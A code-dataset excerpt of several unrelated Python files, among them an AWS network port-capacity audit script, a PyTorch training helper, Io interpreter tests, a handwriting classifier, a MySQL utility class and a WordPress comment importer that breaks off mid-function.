b_dev=\"vc-cor,vc-dar,br-tra,br-kct\",\n )\n if result:\n dar_tc_verify(result)\n for x in result:\n for xx, yy in x.items():\n if any(\"vc-cor\" in cor for cor in yy):\n VC_COR_BRICK = True\n remain_devices = {cc for cc in yy if \"vc-cor\" in cc}\n if remain_devices:\n for cr in remain_devices:\n MISC_INFO[\n \"VC-COR Brick Found - devices found:\"\n ].add(cr)\n elif any(\"br-tra\" in y or \"br-kct\" in y for y in yy):\n # Will be removed after verification\n # dar_tc_verify(x)\n new_dict.update(x)\n if remain_devices:\n retry = concurr_f(\n get_b_dev,\n remain_devices,\n a_dev=\"placeholder\",\n b_dev=\"br-tra,br-kct\",\n )\n if retry:\n for x in retry:\n for xx, yy in x.items():\n # if \"br-tra\" in yy or \"br-kct\" in yy:\n if any(\"br-tra\" in y or \"br-kct\" in y for y in yy):\n new_dict.update(x)\n if any(\"vc-cor\" in x for x in extract):\n remain_devices = set()\n result = concurr_f(\n get_b_dev,\n [w for w in extract if \"vc-cor\" in w],\n a_dev=\"placeholder\",\n b_dev=\"br-tra,br-kct\",\n )\n if result:\n for x in result:\n for xx, yy in x.items():\n if (\n any(\"br-tra\" in y or \"br-kct\" in y for y in yy)\n and \"vc-cor\" in xx\n ):\n VC_COR_BRICK = True\n new_dict.update(x)\n BR_DEVICES.add(xx)\n MISC_INFO[\"VC-COR Brick Found - devices found:\"].add(xx)\n\n return new_dict if new_dict else o\n\n\ndef interim_tra_verify(border_capacity: dict, location: str):\n \"\"\" Function verifies if any BR-TRA's can meet port-avail/capacity requests for an\n interim solution\n \"\"\"\n print()\n print(\n bcolors.BOLD\n + \"3. Beginning interim search for BR-TRA ports since previous BR-TRA/KCT searches have failed - THIS IS A TEMPORARY SOLUTION:\"\n + bcolors.ENDC\n )\n verified = False\n tra_extracted = all(\"br-tra\" in x for x in border_capacity)\n if tra_extracted:\n while not verified:\n # print()\n # print(\n # bcolors.BOLD\n # + \"3. Beginning interim search for BR-TRA ports since previous BR-TRA/KCT searches have failed - THIS IS A TEMPORARY SOLUTION:\"\n # + bcolors.ENDC\n # )\n print(\n bcolors.WARNING\n + \"\\t3A. Searching for 12 * 100Gb ports on minimum of 2 BR-TRA's (600G per TRA)\"\n + bcolors.ENDC\n )\n time.sleep(0.4)\n border_elig_a = brdr_port_verify(\n location,\n border_capacity,\n tra_verify=True,\n speed=100,\n amount=6,\n threshold=2,\n )\n if not border_elig_a:\n print(\n bcolors.WARNING\n + \"\\t 12 * 100Gb ports requirement not fulfilled - Moving onto next search criteria\"\n + bcolors.ENDC\n )\n else:\n print(\n bcolors.OKGREEN\n + \"\\t 12 * 100Gb ports requirement fulfilled - SUCCESS (more information below)\"\n + bcolors.ENDC\n )\n print()\n print(\n bcolors.OKGREEN\n + \"\\tSUCCESS! 12 * 100G - 2 diff TRAs (600G per TRA) = 1.2T - Can be fulfilled\"\n + bcolors.ENDC\n )\n print(\n bcolors.FAIL\n + \"\\t NOTE: This striping configuration (2 BR-TRA's) may incur a NAR since less than 4 BR-TRA's are being striped to\"\n + bcolors.ENDC\n )\n verified_ports(border_capacity, number=6, value=\"br-tra\")\n verified = True\n break\n\n print(\n bcolors.WARNING\n + \"\\t3B. Running TRA port audit for 8 * 100Gb ports on minimum of 4 BR-TRA's (200G per TRA)\"\n + bcolors.ENDC\n )\n time.sleep(0.4)\n border_elig_b = brdr_port_verify(\n location,\n border_capacity,\n tra_verify=True,\n speed=100,\n amount=2,\n threshold=4,\n )\n if not border_elig_b:\n print(\n bcolors.WARNING\n + \"\\t 8 * 100Gb ports requirement not fulfilled - Moving onto next search criteria\"\n + bcolors.ENDC\n )\n else:\n print(\n bcolors.OKGREEN\n + \"\\t 8 * 100Gb ports requirement fulfilled - SUCCESS (more information below)\"\n + bcolors.ENDC\n )\n print()\n print(\n bcolors.OKGREEN\n + \"\\tSUCCESS! 8 * 100G - 4 diff TRAs (200G per TRA) = 800G - Can be fulfilled\"\n + bcolors.ENDC\n )\n verified_ports(border_capacity, number=2, value=\"br-tra\")\n verified = True\n break\n\n print(\n bcolors.WARNING\n + \"\\t3C. Running TRA port audit for 6 * 100Gb ports on minimum of 3 BR-TRA's (200G per TRA)\"\n + bcolors.ENDC\n )\n time.sleep(0.4)\n border_elig_c = brdr_port_verify(\n location,\n border_capacity,\n tra_verify=True,\n speed=100,\n amount=2,\n threshold=3,\n )\n if not border_elig_c:\n print(\n bcolors.WARNING\n + \"\\t 6 * 100Gb ports requirement not fulfilled - Moving onto next search criteria\"\n + bcolors.ENDC\n )\n else:\n print(\n bcolors.OKGREEN\n + \"\\t 6 * 100Gb ports requirement fulfilled - SUCCESS (more information below)\"\n + bcolors.ENDC\n )\n print()\n print(\n bcolors.OKGREEN\n + \"\\tSUCCESS! 6 * 100G - 3 diff TRAs (200G per TRA) = 600G - Can be fulfilled\"\n + bcolors.ENDC\n )\n print(\n bcolors.FAIL\n + \"\\t NOTE: This striping configuration (3 BR-TRA's) may incur a NAR since less than 4 BR-TRA's are being striped to\"\n + bcolors.ENDC\n )\n verified_ports(border_capacity, number=2, value=\"br-tra\")\n verified = True\n break\n\n print(\n bcolors.WARNING\n + \"\\t3D. Running TRA port audit for 8 * 100Gb ports on minimum of 2 BR-TRA's (400G per TRA)\"\n + bcolors.ENDC\n )\n time.sleep(0.4)\n border_elig_d = brdr_port_verify(\n location,\n border_capacity,\n tra_verify=True,\n speed=100,\n amount=4,\n threshold=2,\n )\n if not border_elig_d:\n print(\n bcolors.WARNING\n + \"\\t 8 * 100Gb ports requirement not fulfilled - Moving onto next search criteria\"\n + bcolors.ENDC\n )\n else:\n print(\n bcolors.OKGREEN\n + \"\\t 8 * 100Gb ports requirement fulfilled - SUCCCESS (more information below)\"\n + bcolors.ENDC\n )\n print()\n print(\n bcolors.OKGREEN\n + \"\\tSUCCESS! 8 * 100G - 2 diff TRAs (400G per TRA) = 800G - Can be fulfilled\"\n + bcolors.ENDC\n )\n print(\n bcolors.FAIL\n + \"\\t NOTE: This striping configuration (2 BR-TRA's) may incur a NAR since less than 4 BR-TRA's are being striped to\"\n + bcolors.ENDC\n )\n verified_ports(border_capacity, number=4, value=\"br-tra\")\n verified = True\n break\n\n print(\n bcolors.WARNING\n + \"\\t3E. Running TRA port audit for 4 * 100Gb ports on minimum of 4 BR-TRA's (100G per TRA)\"\n + bcolors.ENDC\n )\n time.sleep(0.4)\n border_elig_e = brdr_port_verify(\n location,\n border_capacity,\n tra_verify=True,\n speed=100,\n amount=1,\n threshold=4,\n )\n if not border_elig_e:\n print(\n bcolors.WARNING\n + \"\\t 4 * 100Gb ports requirement not fulfilled - Moving onto next search criteria\"\n + bcolors.ENDC\n )\n else:\n print(\n bcolors.OKGREEN\n + \"\\t 4 * 100Gb ports requirement fulfilled - SUCCESS (more information below)\"\n + bcolors.ENDC\n )\n print()\n print(\n bcolors.OKGREEN\n + \"\\tSUCCESS! 4 * 100G - 4 diff TRAs (100G per TRA) = 400G - Can be fulfilled\"\n + bcolors.ENDC\n )\n verified_ports(border_capacity, number=1, value=\"br-tra\")\n verified = True\n break\n\n print(\n bcolors.WARNING\n + \"\\t3F. Running TRA port audit for 4 * 100Gb ports on minimum of 2 BR-TRA's (200G per TRA)\"\n + bcolors.ENDC\n )\n time.sleep(0.4)\n border_elig_f = brdr_port_verify(\n location,\n border_capacity,\n tra_verify=True,\n speed=100,\n amount=2,\n threshold=2,\n )\n if not border_elig_f:\n print(\n bcolors.WARNING\n + \"\\t 4 * 100Gb ports requirement not fulfilled - Moving onto next search criteria\"\n + bcolors.ENDC\n )\n else:\n print(\n bcolors.OKGREEN\n + \"\\t 4 * 100Gb ports requirement fulfilled - SUCCESS (more information below)\"\n + bcolors.ENDC\n )\n print()\n print(\n bcolors.OKGREEN\n + \"\\tSUCCESS! 4 * 100G - 2 diff TRAs (200G per TRA) = 400G - Can be fulfilled\"\n + bcolors.ENDC\n )\n print(\n bcolors.FAIL\n + \"\\t NOTE: This striping configuration (2 BR-TRA's) may incur a NAR since less than 4 BR-TRA's are being striped to\"\n + bcolors.ENDC\n )\n verified_ports(border_capacity, number=2, value=\"br-tra\")\n verified = True\n break\n print(\n bcolors.FAIL\n + \"\\tNo interim ports could be found on BR-TRA's\"\n + bcolors.ENDC\n )\n break\n else:\n d_type = \",\".join(set([l[5:11] for l in border_capacity]))\n print(\n f\"\\tNo BR-TRA devices found to be verified - Proceeding to {bcolors.WARNING}Exiting port availability audit steps{bcolors.ENDC}\"\n )\n print(f\"\\t Device-type found: {bcolors.WARNING}{d_type}{bcolors.ENDC}\")\n\n\ndef humanbytes(B: int) -> str:\n \"Return the given bits as a human friendly KB, MB, GB, or TB string\"\n b = float(B)\n Kb = float(1024)\n Mb = float(Kb ** 2) # 1,048,576\n Gb = float(Kb ** 3) # 1,073,741,824\n Tb = float(Kb ** 4) # 1,099,511,627,776\n\n if b < Kb:\n return \"{0} {1}\".format(b, \"Byte\" if 0 == b > 1 else \"Bytes\")\n elif Kb <= b < Mb:\n return \"{0:.2f} Kb\".format(b / Kb)\n elif Mb <= b < Gb:\n return \"{0:.2f} Mb\".format(b / Mb)\n elif Gb <= b < Tb:\n return \"{0:.2f} Gb\".format(b / Gb)\n elif Tb <= b:\n return \"{0:.2f} Tb\".format(b / Tb)\n\n\n@functools.lru_cache(maxsize=128)\ndef backhaul_band(\n b_devs: list, v_devs: list, pop: str, b_type=\"br-tra\", v_type=\"vc-car\"\n) -> dict:\n try:\n border_dict = border_port_alloc.TRA_Allocation(\n pop=pop,\n vc_devices=\",\".join(v_devs),\n border_devices=\",\".join(b_devs),\n vc_device_type=v_type,\n border_device_type=b_type,\n )\n border_dict.get_car_backhaul_band(lag_check=\"border\")\n return border_dict.existing_band_ae_per_vc\n except:\n pass\n\n\ndef band_util(b_devs: list, v_devs: list, pop: str, converted=False) -> dict:\n \"\"\" Function to extract backhaul capacity per AE for bandwidth utilization measurements\"\"\"\n # Need to send tuple's to LRU Cache decorator for proper useage\n b_devs = tuple(b_devs)\n v_devs = tuple(v_devs)\n backhaul_dict = collections.defaultdict(dict)\n if all(\"br-tra\" in x for x in b_devs):\n tra_dict = backhaul_band(b_devs, v_devs, pop)\n if tra_dict:\n for b, v in tra_dict.items():\n for vv, bb in v.items():\n backhaul_dict[b][vv] = {}\n backhaul_dict[b][vv][bb[1]] = (\n 1073741824 * bb[0] if converted else bb[0]\n )\n elif all(\"vc-dar\" in x for x in b_devs):\n dar_dict = backhaul_band(b_devs, v_devs, pop, b_type=\"vc-dar\", v_type=\"vc-car\")\n if dar_dict:\n for b, v in dar_dict.items():\n for vv, bb in v.items():\n backhaul_dict[b][vv] = {}\n backhaul_dict[b][vv][bb[1]] = (\n 1073741824 * bb[0] if converted else bb[0]\n )\n elif all(\"vc-cor\" in x for x in b_devs):\n cor_dict = backhaul_band(b_devs, v_devs, pop, b_type=\"vc-cor\", v_type=\"vc-car\")\n if cor_dict:\n for b, v in cor_dict.items():\n for vv, bb in v.items():\n backhaul_dict[b][vv] = {}\n backhaul_dict[b][vv][bb[1]] = (\n 1073741824 * bb[0] if converted else bb[0]\n )\n return backhaul_dict\n\n\ndef netvane_info(a: set, b: list, location: str):\n \"\"\" Function utilizes Netvane module that Riaz onboarded \"\"\"\n if len(a) >= 1 and len(b) >= 1:\n print()\n wk_ago = datetime.timedelta(days=7)\n w = datetime.date.today() - wk_ago\n if len(a) >= 5:\n print(\n bcolors.BOLD\n + \"Attempting to gather Netvane information from {} devices. To avoid rate-limiting this may take some time\".format(\n len(a)\n )\n + bcolors.ENDC\n )\n else:\n print(\n bcolors.BOLD\n + \"Attempting to gather Netvane information from {} devices\".format(\n len(a)\n )\n + bcolors.ENDC\n )\n print(\n bcolors.WARNING\n + \"[EXTRA] Searching for weekly MAX bandwidth usage for DX devices in {} (date-range: {} ({}) - {} ({}))\".format(\n location,\n w,\n w.strftime(\"%A\"),\n datetime.date.today(),\n datetime.date.today().strftime(\"%A\"),\n )\n + bcolors.ENDC\n )\n util = band_util(list(a), b, location, converted=True)\n cap = netvane.get_interfaces_traffic_max_week(list(a), element_regex=\"^(ae)\")\n filt = [x for x in cap for v in b if v in x[\"Description\"].lower()]\n srt_vane = sorted(filt, key=lambda x: int(x[\"Value\"]), reverse=True)\n if srt_vane:\n print(\n bcolors.BOLD\n + \"\\t** LAG NUMBERS ARE FROM THE BORDER DEVICES PERSPECTIVE **\"\n + bcolors.ENDC\n )\n for x in srt_vane:\n for v in b:\n if v.lower() in x[\"Description\"].lower():\n if not \".\" in x[\"Interface\"]:\n if \"ifTrafficIn\" in x[\"Metric\"]:\n try:\n print(\n \"\\t{} --{}--> {}\".format(\n v, x[\"Interface\"], x[\"Device_Name\"]\n )\n )\n print(\n bcolors.OKGREEN\n + \"\\t\\t{} out of {}\".format(\n humanbytes(x[\"Value\"]),\n humanbytes(\n util[x[\"Device_Name\"]][v][\n x[\"Interface\"]\n ]\n ),\n )\n + bcolors.ENDC\n )\n except KeyError:\n print(\n bcolors.FAIL\n + \"\\t\\t{} - Interface Capacity Not Found (AE Not Found in hashtable)\".format(\n humanbytes(x[\"Value\"]),\n )\n + bcolors.ENDC\n )\n elif \"ifTrafficOut\" in x[\"Metric\"]:\n try:\n print(\n \"\\t{} <--{}-- {}\".format(\n v, x[\"Interface\"], x[\"Device_Name\"]\n )\n )\n print(\n bcolors.OKGREEN\n + \"\\t\\t{} out of {}\".format(\n humanbytes(x[\"Value\"]),\n humanbytes(\n util[x[\"Device_Name\"]][v][\n x[\"Interface\"]\n ]\n ),\n )\n + bcolors.ENDC\n )\n except KeyError:\n print(\n bcolors.FAIL\n + \"\\t\\t{} - Interface Capacity Not Found (AE Not Found in hashtable)\".format(\n humanbytes(x[\"Value\"]),\n )\n + bcolors.ENDC\n )\n else:\n print(\n bcolors.FAIL\n + \"Netvane information pertaining to devices in {} could not be found. Exiting\".format(\n location\n )\n + bcolors.ENDC\n )\n\n\ndef p_misc_info(x: dict, location: str):\n print()\n print(\n f\"{bcolors.WARNING}[EXTRA]{bcolors.ENDC} Miscellaneous Information related to PoP/TC {bcolors.WARNING}{location}{bcolors.ENDC}:\"\n )\n for info, details in sorted(x.items(), key=lambda k: len(k[1])):\n x = \", \".join(details)\n if \"Multiple Backhaul TC's Found\" in info:\n print(f\"\\t{info} {bcolors.OKGREEN}{x}{bcolors.ENDC}\")\n if \"VC-COR Brick Found\" in info:\n print(f\"\\t{info} {bcolors.OKGREEN}{x}{bcolors.ENDC}\")\n if \"VC-DAR's Found\" in info:\n print(f\"\\t{info} {bcolors.OKGREEN}{x}{bcolors.ENDC}\")\n if \"Current PoP Architecture\" in info:\n print(f\"\\t{info} {bcolors.OKGREEN}{x}{bcolors.ENDC}\")\n if \"Specific Phoenix design code name deployed in\" in info:\n print(f\"\\t{info} {bcolors.OKGREEN}{x}{bcolors.ENDC}\")\n if \"KCT Architecture version\" in info:\n print(f\"\\t{info} {bcolors.OKGREEN}{x}{bcolors.ENDC}\")\n if \"PTX BR-TRA's found\" in info:\n print(f\"\\t{info} {bcolors.OKGREEN}{x}{bcolors.ENDC}\")\n if \"MX BR-TRA's found\" in info:\n print(f\"\\t{info} {bcolors.OKGREEN}{x}{bcolors.ENDC}\")\n if \"VC Devices with unequal LAG capacity distribution\" in info:\n print(f\"\\t{info} {bcolors.FAIL}{x}{bcolors.ENDC}\")\n if \"VC-CAS Devices found\" in info:\n print(f\"\\t{info} {bcolors.OKGREEN}{x}{bcolors.ENDC}\")\n if \"VC-DAR Version Found\" in info:\n print(f\"\\t{info} {bcolors.OKGREEN}{x}{bcolors.ENDC}\")\n if \"Pioneer PoP appears to be single-homed\" in info:\n print(f\"\\t{info} {bcolors.FAIL}{x}{bcolors.ENDC}\")\n if \"VC-DAR appears to be single-homed\" in info:\n print(f\"\\t{info} {bcolors.FAIL}{x}{bcolors.ENDC}\")\n if \"These VC-CAR's are currently striped to less than\" in info:\n print(f\"\\t{info} {bcolors.FAIL}{x}{bcolors.ENDC}\")\n if \"VC-DAR appears to be multi-homed\" in info:\n print(f\"\\t{info} {bcolors.OKGREEN}{x}{bcolors.ENDC}\")\n if (\n \"The following customer-facing devices may exceed customer-connection threshold\"\n in info\n ):\n print(f\"\\t{info} {bcolors.FAIL}{x}{bcolors.ENDC}\")\n\n\ndef main():\n global RESERVE_PORTS\n intro_message()\n now_time = datetime.datetime.now()\n args = parse_args()\n if args:\n if args.disable_reserved:\n RESERVE_PORTS = False\n get_brdr_info(args)\n finish_time = datetime.datetime.now()\n duration = finish_time - now_time\n minutes, seconds = divmod(duration.seconds, 60)\n print(\"\")\n print(bcolors.UNDERLINE + \"Script Time Stats:\" + bcolors.ENDC)\n print(\n bcolors.WARNING\n + \"The script took {} minutes and {} seconds to run.\".format(minutes, seconds)\n + bcolors.ENDC\n )\n\n\nif __name__ == \"__main__\":\n main()\n\n\n","sub_path":"aws/phx_recon.py","file_name":"phx_recon.py","file_ext":"py","file_size_in_byte":77548,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"152368506","text":"import torch\nimport torch.nn.functional as F\nfrom torch.autograd import Variable\n\ndef run_batch(inputs, targets, model, loss_fn, optimizer = None, para_update = False, metrics_to_use=None):\n \"\"\" Train the model with the current epoch and return the summary statistics.\n\n Args:\n inputs (tensor): array of data input features of shape (batch_size, input_dim).\n targets (tensor): array of data output targets of shape \n (batch_size, output_dim) or (batch_size, ) if out_dim == 1\n model (module): network to optimize.\n loss_fn (object): the scalar loss function to minimize the error.\n optimzier (object): learning rule to optimize the error. \n the optimizer should by constructed by the model.\n para_update (Boolean): whether we will update the parameters \n by optimzier or not (default False)\n metrics_to_use (dict): a dictionary of functions that compute a metric using the output and labels of each batch.\n (Note: dict.items() is name/function pair; by default each function inputs tensors and returns tensors.)\n\n Returns:\n metrics_values (dict): a map of name/function_value pairs; note the value of loss_fn will also be added with the name 'loss'.\n \"\"\" \n # Wrap the tensor with variable to gradient computation.\n inputs = Variable(inputs)\n targets = Variable(targets)\n \n # Reset the gradient.\n if para_update: optimizer.zero_grad()\n # Feed forward.\n predictions = model(inputs)\n # Compute the loss function.\n loss = loss_fn(predictions, targets)\n # Backpropagate the gradient.\n if para_update: loss.backward()\n # Update the network.\n if para_update: optimizer.step()\n\n # Compute the metric functions.\n metrics_values = dict()\n if metrics_to_use: metrics_values = {name : fn(predictions, targets).data.cpu().numpy() for name, fn in metrics_to_use.items()}\n metrics_values['loss'] = loss.data.cpu().numpy()\n\n return metrics_values\n","sub_path":"pytorch/vision/egs/mnist/model/opt.py","file_name":"opt.py","file_ext":"py","file_size_in_byte":1995,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"243461790","text":"from io.interpreter import interpret\nimport py\nfrom io.model import W_Object, W_List, W_Block\n\ndef test_map_asObject():\n inp = 'Map clone atPut(\"1\", 12345) atPut(\"2\", 99) atPut(\"3\", 3) atPut(\"4\", 234) asObject'\n res, space = interpret(inp)\n assert res.slots['1'].number_value == 12345\n assert res.slots['2'].number_value == 99\n assert res.slots['3'].number_value == 3\n assert res.slots['4'].number_value == 234\n\ndef test_map_asObject_clones_object_proto():\n inp = 'Map clone atPut(\"1\", 12345) atPut(\"2\", 99) atPut(\"3\", 3) atPut(\"4\", 234) asObject'\n res, space = interpret(inp)\n assert isinstance(res, W_Object)\n assert res.protos == [space.w_object]\n\ndef test_map_as_list():\n py.test.skip(\"Depends on ==\")\n inp = 'Map clone atPut(\"1\", 12345) atPut(\"2\", 99) atPut(\"3\", 3) atPut(\"4\", 234) asList'\n res, space = interpret(inp)\n assert isinstance(res, W_List)\n l = [(ll.items[0].value, ll.items[1].value) for ll in res.items]\n assert l == [('1', 12345), ('2', 99), ('3', 3), ('4', 234)]\n\ndef test_new_slot():\n inp = \"\"\"timers ::= 1\"\"\"\n res, space = interpret(inp)\n assert space.w_lobby.slots['timers'].number_value == 1\n # assert isinstance(space.w_lobby.slots['setTimers'], W_Block)\n\ndef test_new_slot_complex():\n inp = \"\"\"a := Object clone\n a do(\n timers ::= 1\n )\n a setTimers(99)\n a timers\"\"\"\n\n res, space = interpret(inp)\n assert res.number_value == 99\n a = space.w_lobby.slots['a']\n assert 'timers' in a.slots\n assert 'setTimers' in a.slots\n # assert isinstance(a.slots['setTimers'], W_Block)\n\n\ndef test_new_slot_with_lookup():\n inp = \"\"\"\n q := 99\n a := Object clone do (\n timer ::= 1\n )\n a setTimer(q)\n a timer\n \"\"\"\n res, space = interpret(inp)\n assert res.number_value == 99\n a = space.w_lobby.slots['a']\n assert 'timer' in a.slots\n assert 'setTimer' in a.slots\n\ndef test_new_slot_with_var():\n inp = \"\"\"\n p := 4\n a := Coroutine currentCoroutine do (\n foobar ::= p\n )\n a foobar\n \"\"\"\n res,space = interpret(inp)\n assert res.number_value == 4\n\ndef test_new_slot_with_var2():\n inp = \"\"\"\n p := 4\n q := 23\n a := Coroutine currentCoroutine do (\n foobar ::= p\n )\n a setFoobar(q)\n a foobar\n \"\"\"\n res,space = interpret(inp)\n assert res.number_value == 23\n","sub_path":"io/test/test_io_extensions.py","file_name":"test_io_extensions.py","file_ext":"py","file_size_in_byte":2407,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"7152172","text":"import numpy as np\r\nfrom sklearn import svm, model_selection\r\n\r\n\r\ndef knn_classifier(X, Y, Xtest, Ytest, k=3):\r\n\r\n Youtput = []\r\n for xt in np.transpose(Xtest):\r\n euclidean = np.linalg.norm(X - np.vstack(xt), axis=0)\r\n neighbors = Y[np.argsort(euclidean)[:k]]\r\n Youtput.append(np.argmax(np.bincount(np.array(neighbors,dtype=np.int32))))\r\n\r\n score = np.mean(np.array(Youtput) == Ytest)\r\n return score\r\n\r\ndef centroid_classifier(X, Y, Xtest, Ytest):\r\n\r\n labels = np.unique(Y)\r\n centroids = np.zeros((X.shape[0],len(labels)))\r\n Youtput = []\r\n\r\n for l in range(len(labels)):\r\n centroids[:,l] = np.mean(X[:,Y == labels[l]],axis=1)\r\n\r\n for xt in np.transpose(Xtest):\r\n distance = np.linalg.norm(centroids - np.vstack(xt), axis=0)\r\n Youtput.append(labels[np.argmin(distance)])\r\n\r\n score = np.mean(np.array(Youtput) == Ytest)\r\n return score\r\n\r\n\r\n\r\ndef linear_classification(X, Y, Xtest, Ytest):\r\n\r\n labels = np.unique(Y)\r\n Ymat = np.zeros((labels.shape[0], Y.shape[0]))\r\n for l in range(labels.shape[0]):\r\n Ymat[l,np.where(Y == labels[l])[0]] = 1\r\n\r\n res = np.dot(np.linalg.pinv(np.transpose(X)),np.transpose(Ymat))\r\n Youtput = np.dot(np.transpose(res), Xtest)\r\n\r\n Youtput = np.argmax(Youtput, axis=0)\r\n Youtput = labels[Youtput]\r\n score = np.mean(Youtput == Ytest)\r\n return score\r\n\r\n\r\n\r\ndef svm_classifier(X, Y, Xtest, Ytest):\r\n\r\n model = svm.SVC(kernel='linear', C=1, gamma=1)\r\n model.fit(np.transpose(X), Y)\r\n score = model.score(np.transpose(Xtest), Ytest)\r\n return score\r\n\r\n\r\n# main execution\r\nfilename = \"HandWrittenLetters.txt\"\r\ndataset = np.loadtxt(filename, delimiter=\",\")\r\nX = dataset[1:] \r\nY = dataset[0]\r\n\r\nkfold_cv = model_selection.StratifiedKFold(n_splits=5)\r\nkfold_cv.get_n_splits(np.transpose(X), Y)\r\n\r\nlinear_score = []\r\nknn_score = []\r\ncentroid_score = []\r\nsvm_score = []\r\n\r\nfor train, test in kfold_cv.split(np.transpose(X), Y):\r\n Xtrain = X[:,train]\r\n Xtest = X[:,test]\r\n Ytrain = Y[train]\r\n Ytest = Y[test]\r\n\r\n knn_score.append(knn_classifier(Xtrain, Ytrain, Xtest, Ytest))\r\n centroid_score.append(centroid_classifier(Xtrain, Ytrain, Xtest, Ytest))\r\n linear_score.append(linear_classification(Xtrain, Ytrain, Xtest, Ytest))\r\n svm_score.append(svm_classifier(Xtrain, Ytrain, Xtest, Ytest))\r\n\r\nprint(\"kNN classifier for k= 3\")\r\nfor i in range(len(knn_score)):\r\n print(\"K = %d, accuracy = %5.3f\" %(i+1, knn_score[i]))\r\n\r\nprint(\"\\nCentroid classifier\")\r\nfor i in range(len(centroid_score)):\r\n print(\"K = %d, accuracy = %5.3f\" %(i+1, centroid_score[i]))\r\n\r\nprint(\"\\nLinear regression classifier\")\r\nfor i in range(len(linear_score)):\r\n print(\"K = %d, accuracy = %5.3f\" %(i+1, linear_score[i]))\r\n\r\nprint(\"\\nSVM classifier\")\r\nfor i in range(len(svm_score)):\r\n print(\"K = %d, accuracy = %5.3f\" %(i+1, svm_score[i]))\r\n\r\n# yadvinderpannu\r\n","sub_path":"HandWritten.py","file_name":"HandWritten.py","file_ext":"py","file_size_in_byte":2899,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"482692849","text":"\nfrom pyspark.sql import SparkSession\nfrom os import system\n\n\n\nif __name__ == \"__main__\":\n \n spark = SparkSession.builder.appName(\"Python Spark SQL basic example\").getOrCreate()\n\n logger = spark._jvm.org.apache.log4j\n logger.LogManager.getRootLogger().setLevel(logger.Level.FATAL)\n\n metadata = spark.read.format(\"com.mongodb.spark.sql.DefaultSource\").load().rdd\n metadata.saveAsTextFile(\"hdfs://com.avg.namenode:9000/user/hadoop/meta/\")","sub_path":"db-flask-main/spark/mongo.py","file_name":"mongo.py","file_ext":"py","file_size_in_byte":454,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"464758245","text":"import pymysql\r\n# mysql工具类\r\nclass Mysql(object):\r\n def __init__(self):\r\n try:\r\n self.conn = pymysql.connect(\r\n host='localhost',\r\n port=3306,\r\n user='root',\r\n passwd='',\r\n db='db_vo',\r\n charset='utf8'\r\n )\r\n except Exception as e:\r\n print(e)\r\n else:\r\n print('连接成功')\r\n self.cur = self.conn.cursor()\r\n # 创建表\r\n def create_table(self,sql):\r\n # sql = 'create table testtb(id int, name varchar(10),age int)'\r\n res = self.cur.execute(sql)\r\n print(res)\r\n\r\n # 删除表\r\n def drop_table(self,sql):\r\n # sql = 'create table testtb(id int, name varchar(10),age int)'\r\n res = self.cur.execute(sql)\r\n print(res)\r\n\r\n # 关闭连接\r\n def close(self):\r\n self.cur.close()\r\n self.conn.close()\r\n # 增\r\n def insert(self,sql): \r\n # sql = 'insert into testtb values(1,\"Tom\",18),(2,\"Jerry\",16),(3,\"Hank\",24)'\r\n res = self.cur.execute(sql)\r\n if res:\r\n self.conn.commit()\r\n else:\r\n self.conn.rollback()\r\n print(res)\r\n # 删\r\n def remove(self,sql): \r\n # sql = 'delete from testtb where id=1'\r\n res = self.cur.execute(sql)\r\n if res:\r\n self.conn.commit()\r\n else:\r\n self.conn.rollback()\r\n print(res)\r\n # 改\r\n def update(self,sql):\r\n # sql = 'update testtb set name=\"Tom Ding\" where id=2'\r\n res = self.cur.execute(sql)\r\n if res:\r\n self.conn.commit()\r\n else:\r\n self.conn.rollback()\r\n print(res)\r\n\r\n # 查\r\n def query(self,sql):\r\n # sql = 'select * from testtb'\r\n self.cur.execute(sql)\r\n res = self.cur.fetchall()\r\n for i in res:\r\n print(i)","sub_path":"MockSql/Mysql.py","file_name":"Mysql.py","file_ext":"py","file_size_in_byte":1908,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"463581780","text":"# One off: Imported wp comments do not have line breaks correctly formatted. Fix them!\nfrom pathlib import Path\nimport inspect\nfrom datetime import datetime\nimport re\nimport xmltodict\nimport collections\nimport json\nfrom importers.utils import loadurlmap, urlmap_to_mdfile\nimport shutil\n\ndef import_wp():\n # index all the comments\n cwd = Path.cwd() \n # navigate to ./content/posts\n p = cwd / \"content\" / \"post\"\n # collect all plurk related comments that don't have an existing index.md in same folder\n all_comments_by_date = {}\n for jsonfile in p.glob(\"**/comment-*-wp-*.json\"):\n # print(jsonfile)\n with jsonfile.open(encoding=\"UTF-8\") as f:\n jsondata = json.loads(f.read())\n date = jsondata[\"date\"]\n # print(date)\n if date in all_comments_by_date:\n print(jsonfile)\n print(date)\n else:\n all_comments_by_date[date] = jsonfile\n\n post_count = 0\n importfile = Path(\"d:\\\\temp\\\\roytang.WordPress.2020-05-05.xml\")\n\n with importfile.open(encoding=\"UTF-8\") as fd:\n doc = xmltodict.parse(fd.read())\n for item in doc[\"rss\"][\"channel\"][\"item\"]:\n post_type = item[\"wp:post_type\"]\n if post_type == \"attachment\":\n # parent = item[\"wp:post_parent\"]\n # add_to_listmap(attachments_map, parent, item)\n pass\n elif post_type == \"post\" and item[\"wp:status\"] == \"publish\":\n # print(item[\"title\"])\n if \"wp:comment\" in item:\n all_comment_xml = item[\"wp:comment\"]\n if not hasattr(all_comment_xml, \"append\"): # if not a list, make a list\n all_comment_xml = [all_comment_xml]\n for comment_xml in all_comment_xml:\n post_count = post_count + 1\n date = comment_xml['wp:comment_date']\n # if date == '0000-00-00 00:00:00':\n # date = comment_xml['wp:comment_date']\n # print(date)\n if date not in all_comments_by_date:\n # if True or comment_xml['wp:comment_type'] is None:\n # print(date)\n # print(comment_xml['wp:comment_author'])\n # print(comment_xml['wp:comment_type'])\n pass\n else:\n jsonfile = all_comments_by_date[date]\n content = comment_xml['wp:comment_content']\n with jsonfile.open(encoding=\"UTF-8\") as f:\n jsondata = json.loads(f.read())\n jsondata[\"text\"] = content # replace the content\n with jsonfile.open(\"w\", encoding=\"UTF-8\") as f:\n f.write(json.dumps(jsondata, indent=2))\n #print(json.dumps(jsondata, indent=2))\n\n print(post_count)\n\ndef import_wp_social():\n 